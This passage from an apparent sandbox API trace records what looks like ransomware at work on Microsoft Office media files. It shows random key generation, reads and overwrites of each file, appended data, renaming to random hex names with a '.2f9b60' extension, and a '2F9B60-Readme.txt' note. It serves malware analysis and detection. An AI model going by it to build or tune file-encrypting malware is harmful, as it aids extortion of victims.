_Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="35") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="cb") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="7c") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="18") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="54") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="60") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="29") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="1a") returned 2 [0102.249] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="7f") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="6f") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="03") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="2f") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="91") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="7a") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="49") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="d4") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="15") returned 2 [0102.250] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="7c") returned 2 [0102.250] RtlInitAnsiString (in: DestinationString=0x2135f988, SourceString="a5461ae735a6cb7cf4185460291a7f6f032f917a49d4157c" | out: DestinationString="a5461ae735a6cb7cf4185460291a7f6f032f917a49d4157c") [0102.250] RtlAnsiStringToUnicodeString (in: DestinationString=0x2135f958, SourceString="a5461ae735a6cb7cf4185460291a7f6f032f917a49d4157c", AllocateDestinationString=1 | out: DestinationString="a5461ae735a6cb7cf4185460291a7f6f032f917a49d4157c") returned 0x0 [0102.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0102.250] wcscat (in: _Dest=0x4205c790, _Source="a5461ae735a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a5461ae735a6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a5461ae735a6" [0102.250] wcscat (in: _Dest=0x4205c790, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a5461ae735a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a5461ae735a6.2f9b60" [0102.250] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a5461ae735a6.2f9b60", NtPathName=0x2135f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a5461ae735a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bf80 [0106.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0106.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505f50) returned 1 [0106.880] NtQueryInformationFile (in: FileHandle=0x15d8, IoStatusBlock=0x2135f998, FileInformation=0x2135f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2135f998, FileInformation=0x2135f9a8) returned 0x0 [0106.881] NtSetInformationFile (FileHandle=0x15d8, IoStatusBlock=0x2135f998, FileInformation=0x2135f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c790) returned 1 [0107.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9160) returned 1 [0107.154] FlushFileBuffers (hFile=0x15d8) returned 1 [0107.419] CloseHandle (hObject=0x15d8) returned 1 [0107.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4ec0 [0107.420] wcscpy (in: _Dest=0x202a4ec0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.420] wcscat (in: _Dest=0x202a4ec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 [0107.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784b50) returned 1 Thread: id = 767 os_tid = 0x12e0 [0098.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf")) returned 0x20 [0099.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF", dwFileAttributes=0x20) returned 1 [0099.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0099.643] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x214ef7a0 | out: lpFileSize=0x214ef7a0*=13342) returned 1 [0099.643] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x341a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.643] ReadFile (in: hFile=0x1574, lpBuffer=0x214ef720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x214ef768, lpOverlapped=0x0 | out: lpBuffer=0x214ef720*, lpNumberOfBytesRead=0x214ef768*=0x4, lpOverlapped=0x0) returned 1 [0099.751] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0099.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262570 [0099.751] NtQuerySystemTime (in: CurrentTime=0x214ef660 | out: CurrentTime=0x214ef660*=132462177052762000) returned 0x0 [0099.751] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x5db74c0a [0099.751] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x293e510b [0099.751] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x5ef4e62e [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x76850e9a [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x6a3da0c0 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x1ba183d [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x5300b0e2 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x21306e98 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x4d25e432 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x5a8b22d7 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x26f7d08e [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x780e6551 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x42788e2c [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x1e37d5d0 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x422bb1f [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x6bccb717 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x1dc5d33 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x7146e2fc [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x429355c2 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x90ea202 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x60ea4b79 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x51a3f816 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x5744a6b0 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x5cf89b9e [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x1d9bc299 [0099.752] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x3262c2a0 [0099.753] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x1458401a [0099.753] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x46ab8be [0099.753] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x4b8ac6f6 [0099.753] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x4a485a34 [0099.753] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x6012f71f [0099.753] RtlRandomEx (in: Seed=0x214ef650 | out: Seed=0x214ef650) returned 0x53a2e965 [0100.753] ReadFile (in: hFile=0x1574, lpBuffer=0x1ce82de0, nNumberOfBytesToRead=0x341e, lpNumberOfBytesRead=0x214ef650, lpOverlapped=0x0 | out: lpBuffer=0x1ce82de0*, lpNumberOfBytesRead=0x214ef650*=0x341e, lpOverlapped=0x0) returned 1 [0101.566] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.566] WriteFile (in: hFile=0x1574, lpBuffer=0x1ce869f0*, nNumberOfBytesToWrite=0x341e, lpNumberOfBytesWritten=0x214ef654, lpOverlapped=0x0 | out: lpBuffer=0x1ce869f0*, lpNumberOfBytesWritten=0x214ef654*=0x341e, lpOverlapped=0x0) returned 1 [0101.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0101.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0101.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0101.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce869f0) returned 1 [0101.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce82de0) returned 1 [0101.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0101.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0101.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a2a0 [0101.855] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.855] WriteFile (in: hFile=0x1574, lpBuffer=0x42060530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x214ef770, lpOverlapped=0x0 | out: lpBuffer=0x42060530*, lpNumberOfBytesWritten=0x214ef770*=0x10a, lpOverlapped=0x0) returned 1 [0102.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0102.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263830) returned 1 [0102.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0102.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263800 [0102.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263800) returned 1 [0102.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.293] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="6c") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="95") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="ed") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="eb") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="a9") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="51") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="6a") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="f5") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="9c") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="f2") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="4e") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="49") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="49") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="cc") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="1e") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="32") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="79") returned 2 [0102.293] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="cc") returned 2 [0102.294] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.294] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="e6") returned 2 [0102.294] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.294] RtlInitAnsiString (in: DestinationString=0x214ef7e8, SourceString="6c95edeba9516af59cf2f4bbbb4e4949cc1e3279cca6e6e1" | out: DestinationString="6c95edeba9516af59cf2f4bbbb4e4949cc1e3279cca6e6e1") [0102.294] RtlAnsiStringToUnicodeString (in: DestinationString=0x214ef7b8, SourceString="6c95edeba9516af59cf2f4bbbb4e4949cc1e3279cca6e6e1", AllocateDestinationString=1 | out: DestinationString="6c95edeba9516af59cf2f4bbbb4e4949cc1e3279cca6e6e1") returned 0x0 [0102.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced95c0 [0102.294] wcscat (in: _Dest=0x4205cbf0, _Source="6c95edeba951" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6c95edeba951") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6c95edeba951" [0102.294] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6c95edeba951.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6c95edeba951.2f9b60" [0102.294] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6c95edeba951.2f9b60", NtPathName=0x214ef790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6c95edeba951.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c3a0 [0105.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c3a0) returned 1 [0105.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d690) returned 1 [0105.887] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x214ef7f8, FileInformation=0x214ef808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x214ef7f8, FileInformation=0x214ef808) returned 0x0 [0105.887] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x214ef7f8, FileInformation=0x214ef808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0105.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced95c0) returned 1 [0105.894] FlushFileBuffers (hFile=0x1574) returned 1 [0105.900] CloseHandle (hObject=0x1574) returned 1 [0105.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4890 [0105.901] wcscpy (in: _Dest=0x202a4890, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.901] wcscat (in: _Dest=0x202a4890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4890) returned 1 [0106.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784ac0) returned 1 Thread: id = 768 os_tid = 0x12e4 [0098.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf")) returned 0x20 [0099.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF", dwFileAttributes=0x20) returned 1 [0099.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15ec [0099.723] GetFileSizeEx (in: hFile=0x15ec, lpFileSize=0x2159f8c0 | out: lpFileSize=0x2159f8c0*=2304) returned 1 [0099.723] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x8fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.723] ReadFile (in: hFile=0x15ec, lpBuffer=0x2159f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2159f888, lpOverlapped=0x0 | out: lpBuffer=0x2159f840*, lpNumberOfBytesRead=0x2159f888*=0x4, lpOverlapped=0x0) returned 1 [0100.140] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0100.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0100.140] NtQuerySystemTime (in: CurrentTime=0x2159f780 | out: CurrentTime=0x2159f780*=132462177056662000) returned 0x0 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x2e4cf811 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x7ad524e7 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x6b8f281f [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x6e13974e [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x6c49fab [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x58e79b1a [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x489c5c2 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x3e968e8b [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x709364c5 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x384ef3b7 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x75839aed [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x5f8b00da [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x65a9a4ef [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x684043c6 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x4e9b220c [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x7a952ed1 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0xc5bace1 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0xd476778 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x598eefdf [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0xf558819 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x6d0e8e87 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x3d6d806d [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x5276fa1f [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x1cef1c6b [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x212ecc48 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x4b49e82 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x598d9726 [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x7f3a8f6f [0100.141] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x9f77d14 [0100.142] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x50d28511 [0100.142] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x31ba4ca6 [0100.142] RtlRandomEx (in: Seed=0x2159f770 | out: Seed=0x2159f770) returned 0x21338abc [0100.154] ReadFile (in: hFile=0x15ec, lpBuffer=0x2016a520, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x2159f770, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesRead=0x2159f770*=0x900, lpOverlapped=0x0) returned 1 [0100.154] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.155] WriteFile (in: hFile=0x15ec, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2159f774, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x2159f774*=0x900, lpOverlapped=0x0) returned 1 [0100.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261490 [0100.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261460 [0100.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261460) returned 1 [0100.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0100.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0100.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0100.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0100.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261460 [0100.646] SetFilePointerEx (in: hFile=0x15ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.646] WriteFile (in: hFile=0x15ec, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2159f890, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x2159f890*=0x10a, lpOverlapped=0x0) returned 1 [0100.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0100.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f30) returned 1 [0100.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0100.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0100.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0100.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.691] RtlFreeHeap (HeapHandle=0xa0000, 